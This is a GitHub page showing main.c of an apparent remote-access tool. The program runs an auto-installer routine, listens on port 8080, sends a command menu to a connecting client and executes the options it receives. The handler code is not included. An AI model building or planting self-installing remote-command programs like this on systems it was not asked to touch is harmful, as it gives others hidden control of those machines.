-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.c
65 lines (57 loc) · 1.31 KB
/
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#ifdef _WIN32
#include <winsock2.h>
#else
#include <sys/socket.h>
#include <unistd.h>
#endif
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "handler/handler.h"
#include "libs/socket/socket.h"
#include "handler/setup/setup.h"
int main() {
bool connected;
char buffer[32] = {0};
int client;
int sock;
int error;
auto_installer();
// Start socket server at port 8080
error = init_socket(&client, &sock, 8080);
if (error < 0)
return -1;
connected = true;
// While user does not choose 'Exit'
do {
// Send options to message
error = send_socket(client, get_commands());
if (error < 0) {
close_socket(client, sock);
connected = false;
}
// Get message sended from client
error = receive_socket(client, buffer);
if (error < 0) {
close_socket(client, sock);
connected = false;
}
// Handle user option
error = run_command(buffer);
if (error < 0) {
error = send_socket(client, "[!] Invalid option");
if (error < 0) {
close_socket(client, sock);
connected = false;
}
}
if (error == 1) {
close_socket(client, sock);
connected = false;
}
// Clear variable value from memory
memset(buffer, 0, sizeof(buffer));
} while (connected);
return 0;
}